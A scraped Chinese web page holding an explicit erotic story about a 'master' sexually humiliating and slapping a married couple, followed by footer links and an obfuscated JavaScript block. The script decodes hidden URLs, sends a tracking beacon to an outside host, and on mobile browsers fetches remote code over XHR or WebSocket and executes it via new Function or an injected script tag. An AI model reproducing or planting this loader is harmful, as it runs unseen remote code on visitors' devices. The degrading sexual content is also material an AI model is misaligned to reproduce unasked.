    主人高兴地说:你喜欢吗?母狗。
    喜欢。
    妻子用压得不能再低的声音回答道。
    主人好像明白她的心思,故意刁难道:大声点!随即又是两个耳光。
    喜欢!主人。
    妻子羞辱地回答。
    呵呵,公狗,你也喜欢吧?主人显然是又想羞辱我。
    喜欢,主人。
    我回答。
    真是一对好狗狗啊!主人接着命令道:把t恤脱下来,知道我要干什幺了吗?母狗。
    知道,妻子一边脱下t恤,一边说:主人要玩母狗的奶子。
    不愧是老师,就是聪明。
    主人说罢,便传来啪啪的巴掌声。
    我一边开车,一边从后视镜偷偷的瞟了一眼,妻子不由自主的扭动着身子,两个大奶子被掴得左右乱晃,她仿佛是要躲避,却又不敢躲避,只能轻微的缓冲一下,减轻一点痛苦而已。
    我还是不由自主地加快了车速,很快就到了主人家楼下。
    主人,到了。
    我诺诺地说了一句。
    显然,主人还没有结束的意思,他意犹未尽地说:这幺快?我还没有爽够呢!这个……主人,要不我在车里给您做好吗?妻子很小声的说:老……老公,你要不在车外等我一会儿,可以吗?我不知道该说什幺,老老实实的下了车,躲到了路边的树荫下,隐隐约约看到妻子起身跨坐到男人的腿上,车子随即开始轻微的抖动……过了一会儿,我的手机响了,我接起电话,妻子有些疲惫地说:老公,回来吧!我急切的走了回去,想看看车里面发生的一切。
    打开车门,看到妻子衣衫不整、头发凌乱,面颊几道巴掌的印记,嘴角上还残留着几滴未干的精液。
    她先是抬头瞟了我一眼,接着便恭恭敬敬的帮主人整理衣服。
    母狗,喜欢吗?主人看到我进去了,故意在玩弄着妻子的乳房。
    嗯,喜欢主人玩弄母狗的奶子。
    哈哈,不错。
    主人满意地笑道:明天的事情给你老公说一下,我等着你们。
    说罢,他开门走了出去。
    我重新发动汽车,妻子整了整衣服坐在副驾驶,我问:明天什幺事?明天……明天……妻子吞吞吐吐的说:亲爱的,我知道我做的这些都是对不起你的事,如果你不喜欢的话,我就跟主人断绝联系,我保证。
    我只是想知道刚才他说的明天的事是什幺?我加重语气问道。
    妻子稍微犹豫了一下,说:主人明天想带咱俩一起去被调教,主人给你找了一个女主。
    哦!不过,你要是不喜欢就算了,我们不跟他联系了。
    不联系?为什幺?我反问道:我很喜欢,不过你不会介意我被别的女人调教吧?这个……妻子稍稍一顿:看你吧,只要你喜欢,我不阻拦你。
    回到家,我觉得浑身上下热得要命,先跑进卫生间冲凉,顺便把塞在肛门里的跳蛋取了出来,可能是塞习惯了,拿出来以后还有种空荡荡的感觉。
    我把套套摘掉,将跳蛋清洗干净,然后递给妻子说:你收好吧,是不是明天还得用?妻子接过去,看了我一眼,说:嗯,明早再塞进去吧!你的呢?我问道。
    我的,我习惯了,就先不拿出来了吧!妻子说:况且……况且什幺?主人明天要肛交,我想先适应一下。
    我没再说话,确切来说,我也不知道该说什幺。

热门搜索

友情链接




返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};